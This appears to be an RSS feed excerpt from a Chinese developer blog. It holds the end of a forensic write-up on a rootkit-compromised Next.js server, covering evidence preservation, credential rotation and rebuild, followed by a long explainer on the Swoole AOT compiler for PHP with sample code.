<p>如果环境支持虚拟机快照和内存快照，应在重启前完成。磁盘最好以只读方式挂载到可信分析机，再检查文件系统。继续在原机上运行大量命令，既会污染时间线，也可能被 Rootkit 返回假结果。</p><h3 id="">保存证据，而不是只截一张图</h3><p>这次我至少保存了以下材料：</p><ul><li>9xxx 与 5xxx 的原始 HTTP 响应、大小和 SHA-256；</li><li>Caddy 域名到端口的映射；</li><li>9xxx 监听进程、PID、父进程、工作目录和依赖版本；</li><li>PM2 <code>site-a-error.log</code> 的取证副本及哈希；</li><li>root crontab 原文和文件时间；</li><li><code>/etc/ld.so.preload</code>、<code>libproc.so</code> 的元数据、哈希和符号表；</li><li>SSH 登录时间线、监听端口和可疑外联；</li><li>Mac 端恶意命令的执行时间及本地落地物。</li></ul><p>下面这些命令可以帮助记录现场，但在存在 <code>LD_PRELOAD</code> Rootkit 时，输出只能作为一部分证据，不能被当作绝对真实：</p><pre class="language-bash lang-bash"><code class="language-bash lang-bash">date -Ins
ss -lntup
ps -eo user,pid,ppid,lstart,stat,cmd --forest
stat /etc/ld.so.preload /usr/lib/libproc.so \
  /var/spool/cron/crontabs/root
sha256sum /etc/ld.so.preload /usr/lib/libproc.so \
  /root/.pm2/logs/site-a-error.log
journalctl --list-boots
journalctl -u ssh --since &#x27;2026-08-01 00:00:00&#x27;
</code></pre>
<p>哈希的价值不在于“看起来专业”，而是证明分析的始终是同一份证据。不过，在 Rootkit 仍然生效的宿主机上计算出的哈希只能用于初步记录；最终应在可信救援环境或只读镜像上重新计算。复制后如果对不上，就必须解释差异来自日志继续写入、传输损坏，还是文件已经被修改。</p><h3 id="">凭据必须在干净设备上轮换</h3><p>攻击日志已经把影响范围从一个官网扩展到整台主机和它能访问的内网。凭据轮换应在可信设备上进行，至少覆盖：</p><ul><li>root 与普通用户密码、SSH 密钥、<code>authorized_keys</code>；</li><li>FRP Panel、FRP Client 身份和面板登录凭据；</li><li>MySQL、PostgreSQL、Redis、RabbitMQ 密码；</li><li>应用 <code>.env</code> 中的 Session、JWT、Cookie、加密密钥和第三方 API Token；</li><li>云平台、Git、npm、AWS、Claude 等开发凭据；</li><li>这台主机能够免密访问的其他服务器和数据库。</li></ul><p>只改服务器 root 密码没有意义。攻击入口原本就不是一次可疑 SSH 登录，而是对外暴露的 Web RCE。</p><h3 id="">这台机器不原地修，直接重建</h3><p>我的处理判断很明确：从可信镜像重装 <code>192.xxx.xxx.xxx</code>，而不是删除 <code>/usr/lib/libproc.so</code> 后继续承载生产服务。</p><p>恢复时只迁移经过审查的源码和业务数据，不复制旧的 <code>.next</code>、<code>node_modules</code>、PM2 目录、系统二进制、启动脚本和未知缓存。Next.js 也不能只升到当年修复 React2Shell 的 15.3.6 就停下；截至 2026 年 7 月，官方维护版本已经要求升级到 15.5.21，或者迁移到当前受支持的 16.2.11。</p><p>新环境还需要改掉几个让事故扩大的条件：</p><ul><li>Web 进程使用独立的非 root 用户；</li><li>9xxx 只监听回环或受控内网，不直接绑定 <code>0.0.0.0</code>；</li><li>Redis 6379、RabbitMQ 15672/5672 不向无关网段暴露；</li><li>每个项目使用独立账户、独立凭据和清晰的网络边界；</li><li>在 Caddy/WAF 层临时拦截异常 RSC/Server Action 请求，只把它当作应急降险；官方公告明确说明这项 RCE 没有可替代升级的 workaround；</li><li>建立依赖漏洞扫描、文件完整性监控和异常出站告警。</li></ul><p>相关官方公告：</p><ul><li><a href="https://nextjs.org/blog/CVE-2025-66478">Next.js Security Advisory: CVE-2025-66478</a></li><li><a href="https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components">React：Critical Security Vulnerability in React Server Components</a></li><li><a href="https://nextjs.org/blog/july-2026-security-release">Next.js July 2026 Security Release</a></li></ul><p>完成取证时，那条 root crontab 还躺在第一行。分钟字段是五个星号。</p><p>它不会等我把文章写完。</p></div><p style="text-align:right"><a href="https://ctexthuang.com/posts/programming_star/next-js-hack-forensics-root-compromise#comments">览毕，何不一言？</a></p></div>]]></description><link>https://ctexthuang.com/posts/programming_star/next-js-hack-forensics-root-compromise</link><guid isPermaLink="true">https://ctexthuang.com/posts/programming_star/next-js-hack-forensics-root-compromise</guid><dc:creator><![CDATA[ctexthuang]]></dc:creator><pubDate>Thu, 13 Aug 2026 03:12:49 GMT</pubDate></item><item><title><![CDATA[PHP 终于可以“编译自己”了？Swoole AOT 自举背后的野心、边界与下一条路]]></title><description><![CDATA[<div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://ctexthuang.com/posts/programming_star/Swoole-AOT-PHP-Self-Hosting-Bootstrap-Go-Rust">https://ctexthuang.com/posts/programming_star/Swoole-AOT-PHP-Self-Hosting-Bootstrap-Go-Rust</a></blockquote><div><p>PHP 写了三十多年 Web，似乎早已被安排好了命运：源码放到服务器，PHP-FPM 接住请求，Zend Engine 把代码编译成 Opcode，再由虚拟机执行。</p><p>它可以支撑电商、支付、内容平台，也可以借助 Swoole 跑常驻进程和协程服务。但在人们的固有印象里，PHP 终究还是一门“部署源码、依赖解释器”的脚本语言。至于把代码编译成原生二进制、制造自己的编译器、像 Go 和 Rust 那样完成自举，那似乎是另一个世界的故事。</p><p>现在，这条边界开始松动了。</p><p>2026 年，Swoole 发布了新一代 AOT 编译器。它可以把 PHP 源码离线翻译成 C++，再交给 GCC、Clang 或 MSVC 编译为 x86-64、ARM64 原生机器码，最终生成 Linux、macOS 或 Windows 下的可执行文件和动态库。官方文档同时给出了 PHP 源码入口 <code>bin/compiler.php</code> 与编译后的 <code>swoole_compiler</code>，背后指向一个更有象征意义的能力：<strong>用 PHP 编写的编译器，可以参与编译它自己。</strong></p><p>按照编译器工程里的通常定义，这就是官方所说的“自举”。至于它和 Go、Rust 的语言工具链自举是不是一回事，答案是否定的，后面还要继续拆开。</p><p>但先别急着宣布 PHP 已经变成了 Go，也别把“生成二进制”自动等同于“彻底摆脱 Zend Engine”。Swoole AOT 真正有价值的地方，恰恰不在宣传口号，而在它暴露出的一条新路线：</p><blockquote><p><strong>PHP 不再只能作为被运行的业务脚本，它开始能够参与制造自己的原生工具。</strong></p></blockquote>
<p>这件事值得兴奋，也必须冷静看待。</p><h2 id="-swoole-">先说清楚：这不是 Swoole 扩展的一次普通升级</h2><p>很多人看到“Swoole AOT”，第一反应可能是：Swoole 扩展又增加了一个编译参数？</p><p>不是。</p><p>这里讨论的是 Swoole Compiler 4.0，也就是官方目前以 <code>typephp</code> 仓库发布的 PHP AOT 编译器产品，而不是我们熟悉的 <code>swoole-src</code> 扩展增加了一个新 Hook。它和 Swoole 协程、HTTP Server 可以结合，但两者不是同一个层面的东西：</p><ul><li>Swoole 扩展主要改变 PHP 的 I/O、并发和常驻进程模型；</li><li>Swoole AOT 主要改变 PHP 代码从源码到机器码的构建与交付方式。</li></ul><p>截至 2026 年 7 月，官方安装页仍指向 v0.1.0，而 <a href="https://github.com/swoole/typephp/releases/tag/v0.2.3">GitHub Releases</a> 已经发布 v0.2.3。这个版本差异本身也说明：它目前仍处在快速迭代的预览阶段，而不是可以无脑替换生产 PHP-FPM 的成熟基础设施。<a href="https://www.swoole.com/aot/docs/install">官方安装文档</a>列出的构建条件也不轻：PHP 8.4 ZTS、Embed SAPI、PHPX、Composer 依赖、GCC 9 以上，以及 GMP、MPFR 等库。</p><p>所以，理解它的第一步不是问“快了多少倍”，而是先看懂它到底做了什么。</p><h2 id="-php-">从 PHP 源码到机器码，中间发生了什么</h2><p>传统 PHP 的主路径大致是：</p><pre class="language-text lang-text"><code class="language-text lang-text">PHP 源码
  → 词法与语法分析
  → AST
  → Opcode
  → ZendVM 解释执行
</code></pre>
<p>启用 OPcache 后，前面的解析和 Opcode 编译结果可以被缓存，避免每次请求重新处理源码。但缓存的仍然是 Opcode，真正执行时依旧要经过 ZendVM。</p><p>Swoole AOT 走的是另一条路：</p><p style="padding:6px 12px;border-left:2px solid #C56473;background:#C5647350;font-style:italic;font-weight:500">Not support render this content in RSS render</p>
<p>根据<a href="https://www.swoole.com/aot/docs/execution">官方执行过程文档</a>，编译过程可以拆成四步：</p><ol start="1"><li>扫描 PHP、C、C++ 等项目文件，收集类、函数、常量和依赖关系；</li><li>使用 PHP Parser 生成 AST，再把每个节点转换为 C++；</li><li>调用平台上的 C++ 编译器生成目标文件；</li><li>将目标文件与 PHPX 等运行库链接为二进制或动态库。</li></ol><p>最终产物不是 PHP Opcode，也不是某种跨平台字节码，而是 CPU 可以直接执行的机器指令。这意味着它天然具有平台属性：Linux 的 ELF 不能直接拿到 Windows 运行，x86-64 产物也不会自动变成 ARM64 程序。</p><p>更重要的是，Swoole AOT 并非把所有 PHP 语义都粗暴翻译成同一种东西。它实际运行在一个混合环境里。</p><p style="padding:6px 12px;border-left:2px solid #C56473;background:#C5647350;font-style:italic;font-weight:500">Not support render this content in RSS render</p>
<p>当编译器能够确定变量类型、函数目标和对象布局时，就可以生成直接的 C++ 运算或函数调用；调用 <code>json_encode()</code>、<code>preg_match()</code>、PDO 等 PHP 内置能力时，仍然可能通过 Zend API 进入原有 C 扩展；部分动态加载可以交给 ZendVM，另一些过于动态的语法则会在编译期直接被拒绝。</p><p>换句话说，<strong>Swoole AOT 不是抛弃整个 PHP 生态重新造一门语言，而是在 PHP 的动态世界上方，铺设一条尽量静态化的高速通道。</strong></p><h2 id="">所谓“自举”，到底自举了什么</h2><p>编译器自举有一个著名的鸡生蛋问题。</p><p>假设我们用 PHP 写了一个 PHP 编译器：</p><pre class="language-text lang-text"><code class="language-text lang-text">compiler.php：读取 PHP 源码，生成 C++，再调用系统编译器
</code></pre>
<p>那么第一次运行 <code>compiler.php</code> 时，仍然需要一个已有的 PHP 解释器。它读取编译器源码，生成第一代原生编译器：</p><pre class="language-text lang-text"><code class="language-text lang-text">已有 PHP 解释器
  → 运行 compiler.php
  → 生成第一代 swoole_compiler
</code></pre>
<p>第一代编译器产生后，再让它读取自己的 PHP 源码：</p><pre class="language-text lang-text"><code class="language-text lang-text">第一代 swoole_compiler
  → 编译 compiler.php
  → 生成第二代 swoole_compiler
</code></pre>
<p>如果第二代编译器能够继续正确编译自己，输出也具备预期的语义一致性，那么这个工具链便形成了自举闭环。</p><p>它代表的不是一句“我们也有二进制了”，而是编译器已经具备处理真实大型 PHP 工程的能力。一个能编译自己的编译器，至少要面对：</p><ul><li>大量类、函数、接口和命名空间；</li><li>文件扫描与 Composer 依赖；</li><li>AST 遍历、符号表和类型推断；</li><li>字符串、数组、对象和异常；</li><li>C++ 代码生成、并行构建和链接；</li><li>缓存、命令行参数与跨平台差异。</li></ul><p>所以，自举常被视为编译器工程的“成人礼”。它说明这个编译器不再只能编译 <code>Hello World</code> 或几个算法 Demo，而是开始具备承载自身复杂度的能力。</p><p>但必须把边界说清楚。</p><p>目前 Swoole AOT 的公开仓库主要提供二进制发行包、文档和示例，编译器仍是商业软件，完整源码并未公开。官方文档展示了 <code>php bin/compiler.php</code>、<code>./bin/compiler.php</code> 和 <code>./swoole_compiler</code> 等入口，这能说明工具链的自托管形态，却不等于社区已经从公开源码独立复现、审计了完整自举过程。</p><p>因此，现阶段更准确的说法是：</p><blockquote><p><strong>就目前公开材料而言，Swoole AOT 所说的自举发生在商业编译器产品层面，而不是 PHP 官方语言实现完成了自举。</strong></p></blockquote>
<p>这两个概念不能混为一谈。</p><h2 id="-gorust-">它和 Go、Rust 的自举，有什么联系和区别</h2><p>Swoole AOT、Go 和 Rust 的共同点，是它们都在回答同一个问题：<strong>一门语言能否用自己的能力，制造下一代语言工具？</strong></p><p>但三者所处的位置完全不同。</p><h3 id="go">Go：官方编译器与运行时的整体迁移</h3><p>Go 早期的编译器和运行时包含 C 实现。到了 Go 1.5，官方宣布编译器和运行时主要改由 Go 与少量汇编实现，C 编译器不再是构建 Go 发行版的必要组成部分。<a href="https://go.dev/doc/go1.5#implementation">Go 1.5 的官方说明</a>也明确提到：既然编译器已经用 Go 编写，从源码构建新版 Go 时，就必须先准备一个可工作的旧版 Go 工具链。</p><p>它的基本链路是：</p><pre class="language-text lang-text"><code class="language-text lang-text">旧版 Go 编译器
  → 编译新版 Go 编译器与运行时
  → 得到新版 Go 工具链
</code></pre>
<p>这是官方语言实现层面的自举。编译器、运行时和发行构建流程都属于 Go 项目本身。</p><h3 id="rust-rustc--rustc">Rust：用上一阶段 rustc 构建下一阶段 rustc</h3><p>Rust 的自举更加显式。按照 <a href="https://rustc-dev-guide.rust-lang.org/building/bootstrapping/what-bootstrapping-does.html">Rust Compiler Development Guide</a> 的描述，构建系统会先获取一个已有的 Beta <code>rustc</code> 作为 Stage 0，再用它构建当前源码中的编译器，随后进入 Stage 1、Stage 2 等阶段。</p><pre class="language-text lang-text"><code class="language-text lang-text">Stage 0：已有的 Beta rustc
  → Stage 1：当前源码编译出的 rustc
  → Stage 2：由新 rustc 再次构建的工具链与标准库
</code></pre>
<p>这套过程不只是“Rust 能编译 Rust 文件”，还涉及编译器、标准库、目标平台组件和一致性验证。Rust 依旧使用 LLVM 等由其他语言实现的底层基础设施，所以“语言自举”从来不等于整个软件栈里一行 C/C++ 都没有。</p><h3 id="swoole-aot-php-">Swoole AOT：在 PHP 官方实现之外搭建新编译链</h3><p>Swoole AOT 不属于 PHP 官方 Zend Engine 的下一代构建系统。PHP 官方发行版不会因为它的出现，就改用 <code>swoole_compiler</code> 编译 <code>php-src</code>。</p><p>它更像是在现有 PHP 旁边搭了一座桥：</p><ul><li>前端理解 PHP 语法和 AST；</li><li>中间层进行类型推断并生成 C++；</li><li>后端借助 GCC、Clang 或 MSVC 产生机器码；</li><li>运行时通过 PHPX、Zend API 和 Embed SAPI 继续复用 PHP 生态。</li></ul><table><thead><tr><th> 维度 </th><th> Swoole AOT </th><th> Go </th><th> Rust </th></tr></thead><tbody><tr><td> 是否为官方语言实现 </td><td> 否，属于 Swoole 编译器产品 </td><td> 是 </td><td> 是 </td></tr><tr><td> 自举范围 </td><td> 编译器工具层面 </td><td> 编译器与运行时 </td><td> 编译器与标准库构建链 </td></tr><tr><td> 主要后端 </td><td> C++ 编译器 </td><td> Go 官方工具链 </td><td> LLVM 等后端 </td></tr><tr><td> 动态运行时 </td><td> 保留 PHPX、Zend API、ZendVM 混合路径 </td><td> Go Runtime </td><td> Rust 标准库与目标平台运行支持 </td></tr><tr><td> 语言动态性 </td><td> 保留一部分 PHP 动态能力 </td><td> 静态编译为主 </td><td> 静态编译为主 </td></tr><tr><td> 当前开放程度 </td><td> 商业闭源预览版 </td><td> 开源 </td><td> 开源 </td></tr></tbody></table><p>三者的联系是“用本语言参与制造本语言的工具”；真正的区别则是：<strong>Go 与 Rust 在重建自己的官方语言基础设施，Swoole AOT 在 PHP 官方基础设施之外，为 PHP 增加一种新的工程形态。</strong></p><h2 id="aotopcache--jit">AOT、OPcache 和 JIT，根本不是一回事</h2><p>只要谈到 PHP 编译，就绕不开 OPcache 和 JIT。三者都可能减少解释开销，但发生的时间、保存的产物和适用场景完全不同。</p><h3 id="opcache">OPcache：不再重复解析和编译源码</h3><p>PHP 官方对 OPcache 的定义很直接：把预编译的脚本字节码存进共享内存，避免每次请求重新加载和解析脚本。<a href="https://github.com/php/doc-en/blob/master/reference/opcache/book.xml">PHP 官方文档源码</a>中的关键词是 <code>precompiled script bytecode</code>，也就是预编译脚本字节码。</p><pre class="language-text lang-text"><code class="language-text lang-text">第一次：PHP 源码 → Opcode → ZendVM
后续请求：OPcache 中的 Opcode → ZendVM
</code></pre>
<p>它省掉的是反复解析、编译 PHP 源码的成本，没有取消 ZendVM 的 Opcode 执行循环。</p><h3 id="jit">JIT：程序运行时编译热点</h3><p>PHP JIT 建立在 OPcache 之上。程序先进入原有执行链，运行时再把值得优化的热点路径编译为机器码。它适合循环、数值计算等 CPU 热点，却很难让等待 MySQL、Redis 和 HTTP RPC 的业务代码凭空快十倍。</p><p>JIT 的关键是“Just In Time”：机器码在运行期间产生。</p><h3 id="aot">AOT：部署前完成编译</h3><p>AOT 的关键是“Ahead Of Time”：在程序运行之前生成机器码。</p><pre class="language-text lang-text"><code class="language-text lang-text">构建阶段：PHP → C++ → 机器码
运行阶段：直接加载编译产物
</code></pre>
<table><thead><tr><th> 对比项 </th><th> OPcache </th><th> PHP JIT </th><th> Swoole AOT </th></tr></thead><tbody><tr><td> 编译发生时间 </td><td> 请求前或首次加载 </td><td> 运行期间 </td><td> 构建、部署之前 </td></tr><tr><td> 主要产物 </td><td> Opcode </td><td> 热点机器码 </td><td> 原生程序或动态库 </td></tr><tr><td> ZendVM </td><td> 仍是主执行路径 </td><td> 仍保留 </td><td> 静态代码可绕过，动态路径仍可能使用 </td></tr><tr><td> 动态 PHP 兼容性 </td><td> 最高 </td><td> 很高 </td><td> 明显收缩 </td></tr><tr><td> 主要收益 </td><td> 减少源码解析编译 </td><td> 加速 CPU 热点 </td><td> 原生调用、类型优化、交付形态改变 </td></tr></tbody></table><p>一句话概括：</p><blockquote><p><strong>OPcache 是“不重复编译”，JIT 是“运行时挑热点编译”，AOT 是“运行前尽可能编译完”。</strong></p></blockquote>
<h2 id="-php-">实战：把一段 PHP 编译成原生程序</h2><p><code>Hello World</code> 能证明编译器会工作，却无法解释 AOT 为什么值得存在。我们用一个更适合观察原生整数运算的例子：统计指定范围内的质数。</p><pre class="language-php lang-php"><code class="language-php lang-php">&lt;?php
declare(strict_types=1);

use native_types;

function isPrime(int $number): bool
{
    if ($number &lt; 2) {
        return false;
    }

    if ($number === 2) {
        return true;
    }

    if (($number % 2) === 0) {
        return false;
    }

    for (
        $divisor = 3;
        $divisor * $divisor &lt;= $number;
        $divisor += 2
    ) {
        if (($number % $divisor) === 0) {
            return false;
        }
    }

    return true;
}

function countPrimes(int $limit): int
{
    $count = 0;

    for ($number = 2; $number &lt;= $limit; $number++) {
        if (isPrime($number)) {
            $count++;
        }
    }

    return $count;
}

function main(int $argc, array $argv): void
{
    $limit = 1000000;

    if ($argc &gt; 1) {
        $limit = intval($argv[1]);
    }

    if ($limit &lt; 2) {
        echo &quot;limit must be greater than or equal to 2\n&quot;;
        return;
    }

    $begin = microtime(true);
    $count = countPrimes($limit);
    $elapsed = microtime(true) - $begin;

    printf(
        &quot;primes &lt;= %d: %d, elapsed: %.6f seconds\n&quot;,
        $limit,
        $count,
        $elapsed
    );
}
</code></pre>
<p>将文件保存为 <code>prime.php</code>，然后编译：</p><pre class="language-bash lang-bash"><code class="language-bash lang-bash">./swoole_compiler prime.php -O2 -o prime
</code></pre>
<p>运行生成的程序：</p><pre class="language-bash lang-bash"><code class="language-bash lang-bash">./prime 1000000
</code></pre>
<p>这段代码有几个关键点。</p><h3 id="main-"><code>main()</code> 取代游离代码</h3><p>普通 PHP 文件可以在顶层直接写：</p><pre class="language-php lang-php"><code class="language-php lang-php">echo &quot;hello&quot;;
</code></pre>
<p>但当前 AOT 编译器要求可编译代码进入函数，不能依赖 PHP 模板式的游离代码。二进制模式会把 <code>main()</code> 作为明确入口，这一点更像 C++、Go 和 Rust 的可执行程序。</p><h3 id="use-nativetypes-"><code>use native_types</code> 不是装饰</h3><p><code>use native_types</code> 是 Swoole AOT 复用 PHP <code>use</code> 语法定义的专有编译指令，不是普通的命名空间导入。把同一文件直接交给 ZendPHP 语法检查时，它可能提示“非复合名称的 use 没有效果”；交给 AOT 编译器时，它才具有原生类型优化语义。</p><p>启用该指令后，明确声明的 <code>int</code>、<code>float</code>、<code>bool</code> 可以映射到更接近 C++ 原生类型的表示。<code>isPrime()</code> 和 <code>countPrimes()</code> 的热点主要是整数比较、取模、递增和函数调用，编译器有机会：</p><ul><li>消除部分 <code>zval</code> 装箱和类型检查；</li><li>把用户函数调用编译为直接的 Native Call；</li><li>让 C++ 编译器执行内联、常量传播和循环优化；</li><li>把变量尽可能放入寄存器，而不是反复经过 ZendVM。</li></ul><p>这也是为什么数值循环比数据库 CRUD 更容易体现 AOT 的收益。</p><h3 id="php--zend-api">PHP 内置函数仍可能走 Zend API</h3><p>代码里的 <code>intval()</code>、<code>microtime()</code> 和 <code>printf()</code> 并不会因为 AOT 就自动变成编译器内置指令。它们可能继续通过 Zend API 调用原有 C 实现，并在边界上进行参数装箱。</p><p>但这不是问题。真正的热点在 <code>countPrimes()</code> 的大循环里，输入解析与结果输出只执行少量几次。AOT 的工程价值，本来就不是把每一行 PHP 都变成纯 C++，而是让高频路径尽可能原生化。</p><h3 id="-o2-"><code>-O2</code> 优化的是什么</h3><p><code>-O2</code> 不只是一个“跑快点”的按钮。Swoole AOT 先生成 C++，随后把优化级别交给 C++ 编译器。函数内联、无用代码消除、寄存器分配等能力，最终由成熟的原生编译后端完成。</p><p>需要提醒的是：这段代码用于解释编译模型，不代表文章宣称了一个固定加速倍数。真实结果必须在相同机器、相同输入、相同构建参数下，对 ZendPHP、JIT 和 AOT 分别测试。脱离工作负载谈“快一百倍”，通常只是把一个算法基准偷换成整个 PHP 生态。</p><h2 id="-php-aot-">为什么很多“灵活的 PHP”到了 AOT 会报错</h2><p>PHP 的强大，很大程度来自运行时动态性。变量可以变型，函数名可以放在字符串里，类可以自动加载，局部变量甚至能在运行时凭空生成。</p><p>例如：</p><pre class="language-php lang-php"><code class="language-php lang-php">&lt;?php

$handler = &#x27;sendEmail&#x27;;
$handler($payload);

$name = &#x27;result&#x27;;
$$name = &#x27;ok&#x27;;

$value = &#x27;42&#x27;;
$value = new stdClass();

extract($config);
</code></pre>
<p>ZendVM 可以等程序真正运行到这里，再决定 <code>$handler</code> 指向谁、<code>$$name</code> 要创建哪个变量、<code>$value</code> 当前是什么类型。</p><p>但 AOT 必须在运行之前回答这些问题：</p><ul><li>我要生成哪个 C++ 函数调用？</li><li>这个变量需要多少内存？</li><li>它应该使用整数寄存器、对象指针还是 <code>zval</code>？</li><li>这个对象的方法表在什么位置？</li><li>编译器能否证明调用目标不会变化？</li></ul><p>如果答案只能在运行时出现，编译器就无法安全地产生确定的原生代码。</p><p>更适合 AOT 的写法，是把动态规则改成显式结构：</p><pre class="language-php lang-php"><code class="language-php lang-php">&lt;?php
declare(strict_types=1);

final class Message
{
    public function __construct(
        public string $content
    ) {
    }
}

function sendEmail(Message $message): void
{
    echo &quot;email: &quot; . $message-&gt;content . &quot;\n&quot;;
}

function sendSms(Message $message): void
{
    echo &quot;sms: &quot; . $message-&gt;content . &quot;\n&quot;;
}

function dispatch(string $handler, Message $message): void
{
    switch ($handler) {
        case &#x27;email&#x27;:
            sendEmail($message);
            break;

        case &#x27;sms&#x27;:
            sendSms($message);
            break;

        default:
            throw new InvalidArgumentException(&#x27;unknown handler&#x27;);
    }
}

function main(): void
{
    $message = new Message(&#x27;hello AOT&#x27;);
    dispatch(&#x27;email&#x27;, $message);
}
</code></pre>
<p>这不意味着以后写 PHP 必须到处堆 <code>switch</code>。真正的原则是：<strong>让依赖、类型和调用目标尽可能显式。</strong></p><p>根据当前<a href="https://www.swoole.com/aot/docs/compatible">兼容性文档</a>，可变变量、<code>extract()</code>、生成器、部分动态引用、变量类型反复变化、游离代码等能力存在限制；对象属性和继承赋值也比 ZendPHP 更严格。对于依赖反射、动态代理、魔术方法和运行时容器的框架，不能因为“语法看上去是 PHP”就假定它可以原样编译。</p><p>这也是 AOT 对 PHP 最深层的改变：</p><blockquote><p>过去，动态性主要支付运行时性能和可维护性成本；进入 AOT 后，它还要支付无法静态分析、无法编译和无法优化的成本。</p></blockquote>
<h2 id="-php-">对 PHP 开发者而言，真正会改变什么</h2><h3 id="-ide-">强类型不再只是 IDE 提示</h3><p>过去我们给参数、属性和返回值加类型，主要是为了静态分析、IDE 补全、运行时校验和团队协作。</p><p>在 AOT 里，类型开始直接参与机器码生成。它会影响：</p><ul><li>变量能否使用原生 C++ 类型；</li><li>是否需要 <code>zval</code> 装箱与拆箱；</li><li>函数调用能否变成 Native Call；</li><li>方法是否有机会去虚拟化；</li><li>对象属性能否按固定偏移访问；</li><li>编译器是否需要退回动态调用。</li></ul><p>这意味着 PHPStan、Psalm、严格类型、只读对象、DTO 和明确接口，不再只是“代码洁癖”，而可能成为 AOT 性能与兼容性的前置条件。</p><h3 id="">编译错误会进入日常工作流</h3><p>传统 PHP 项目经常把许多问题留到运行时。AOT 会把一部分错误提前到构建阶段：</p><pre class="language-text lang-text"><code class="language-text lang-text">Composer 安装
  → 静态分析
  → AOT 兼容性检查
  → C++ 代码生成
  → 原生编译与链接
  → 自动化测试
  → 按平台发布
</code></pre>
<p>PHP 开发者将开始遇到此前相对陌生的概念：</p><ul><li>目标架构；</li><li>动态库与静态库；</li><li>ABI；</li><li>链接错误；</li><li>Debug Symbol；</li><li>GDB；</li><li>Sanitizer；</li><li>C++ 编译器优化级别。</li></ul><p>这不是坏事，却意味着构建复杂度真实增加了。过去上传一份 PHP 源码就能部署，未来可能要为 Linux x86-64、Linux ARM64、Windows 和 macOS 分别维护构建流水线。</p><h3 id="">二进制交付会成为新选择</h3><p>对普通互联网 Web 项目来说，隐藏 PHP 源码可能不是核心诉求；但对私有化部署、商业软件、边缘设备和客户现场交付而言，原生二进制有明显吸引力：</p><ul><li>不再直接交付业务源码；</li><li>客户端不必管理完整 Composer 工程；</li><li>程序入口和依赖更集中；</li><li>可以生成命令行程序或动态库；</li><li>启动路径更可控。</li></ul><p>但“二进制”不等于“完全没有运行时依赖”。官方文档仍涉及 PHPX、PHP Embed、<code>libphp</code> 以及静态或动态链接。最终是否能只复制一个文件运行，要看具体构建方式、目标平台和依赖库，不能把产品页上的“原生可执行文件”想象成必然零依赖的静态 ELF。</p><h3 id="">调试方式会变得更接近系统编程</h3><p>AOT 把一部分 PHP 函数变成原生函数后，传统 <code>debug_backtrace()</code> 未必能完整呈现所有原生调用路径。崩溃、ABI 错误、扩展边界和内存问题，也可能需要 GDB、符号表或 Sanitizer 参与排查。</p><p>对 PHP 开发者来说，能力边界会从“会写业务和调框架”向下扩展：类型设计、编译链、内存模型和性能分析的重要性会上升。</p><h2 id="">哪些项目值得尝试，哪些项目现在不必折腾</h2><p>AOT 最容易制造的误解，是把一个计算基准的提升推广到所有 Web 系统。</p><p>假设某个接口耗时 100 毫秒：</p><pre class="language-text lang-text"><code class="language-text lang-text">PHP 业务计算：1 ms
MySQL：45 ms
Redis：8 ms
外部 RPC：40 ms
序列化与网络：6 ms
</code></pre>
<p>即使 AOT 把 PHP 计算从 1 毫秒压缩到 0.1 毫秒，接口也只是从 100 毫秒变成 99.1 毫秒。数据库和网络不会因为 PHP 变成机器码就自动加速。</p><h3 id="">更值得优先尝试的场景</h3><ul><li>数值计算、规则计算和算法服务；</li><li>数据解析、压缩、加密与格式转换；</li><li>独立 CLI 工具；</li><li>定时任务和批处理程序；</li><li>常驻消费者与后台进程；</li><li>商业软件和私有化二进制交付；</li><li>需要调用 C++ SDK 的项目；</li><li>希望把部分 PHP 逻辑编译成扩展的场景。</li></ul><h3 id="">需要压测后再决定的场景</h3><ul><li>Hyperf、Swoole HTTP Server；</li><li>API 网关；</li><li>WebSocket 服务；</li><li>消息队列消费者；</li><li>高频协议解析服务。</li></ul><p>这些项目可能同时拥有 I/O 热点和 CPU 热点。Swoole 协程解决的是并发等待，AOT 解决的是代码执行，两者可以叠加，但最终收益必须由真实 Flame Graph 和压测数据决定。</p><h3 id="">现阶段不必急着迁移的场景</h3><ul><li>普通 Laravel、ThinkPHP 管理后台；</li><li>大量使用模板、动态配置和插件的系统；</li><li>WordPress 一类高度动态的生态；</li><li>计算量很小的 CRUD 接口；</li><li>严重依赖反射、代理、魔术方法和动态容器的框架代码；</li><li>需要频繁热更新、直接修改源码的传统交付环境。</li></ul><p><strong>是否使用 AOT，首先是工作负载与交付模式的选择，其次才是语言性能的选择。</strong></p><h2 id="php-">方向推演：PHP 可能长出另一条技术路线</h2><p>下面这些不是 Swoole 官方路线图，而是根据当前编译模型做出的工程推演。预览版最终会走到哪里，仍取决于兼容性、授权、工具链和社区采用情况。</p><h3 id="php-cli-">第一条路：PHP CLI 工具真正参与原生分发</h3><p>PHP 很适合写字符串处理、HTTP 调用、文件转换和自动化脚本，却很少成为公开 CLI 工具的首选语言。原因不完全是性能，更是交付：用户必须先安装正确版本的 PHP、扩展和 Composer 依赖。</p><p>如果 AOT 能把这些工具编译为平台二进制，PHP 就有机会进入原本由 Go 和 Rust 主导的 CLI 分发场景：</p><pre class="language-text lang-text"><code class="language-text lang-text">源代码扫描器
配置迁移工具
日志分析器
数据库维护工具
代码生成器
运维客户端
</code></pre>
<p>这是我认为最现实的方向。CLI 项目入口清晰、生命周期短、框架魔法较少，比直接编译一个庞大的 Laravel 应用更适合当前 AOT 模型。</p><h3 id="swoole--ioaot-">第二条路：Swoole 协程负责 I/O，AOT 负责计算</h3><p>Swoole 过去解决了 PHP “如何高效等待”的问题：协程、事件循环、连接池和常驻服务，让 PHP 不必再把每个请求都绑定到传统同步阻塞模型。</p><p>AOT 试图解决另一个问题：PHP 在不等待时，如何更高效地计算。</p><pre class="language-text lang-text"><code class="language-text lang-text">Swoole 协程：减少 I/O 等待期间的资源浪费
Swoole AOT：减少热点计算中的解释、装箱和动态调用
</code></pre>
<p>两者结合后，PHP 才可能同时在 I/O 密集与部分 CPU 密集场景中提高上限。但这不意味着它会自动战胜 Go 或 Rust，因为调度器、内存占用、GC、扩展边界和编译质量依旧决定最终表现。</p><h3 id="-php-">第三条路：用受限 PHP 编写原生扩展</h3><p>官方编译器支持 <code>-m ext</code> 扩展模式，可以生成 <code>.so</code>、<code>.dylib</code> 或 <code>.dll</code>。如果这条路线成熟，PHP 开发者未来可能不必手写大量 Zend C API，就能把一段强类型 PHP 编译为原生扩展，再提供给普通 ZendPHP 项目使用。</p><pre class="language-bash lang-bash"><code class="language-bash lang-bash">./swoole_compiler my-extension/ -O2 -o my_extension -m ext
</code></pre>
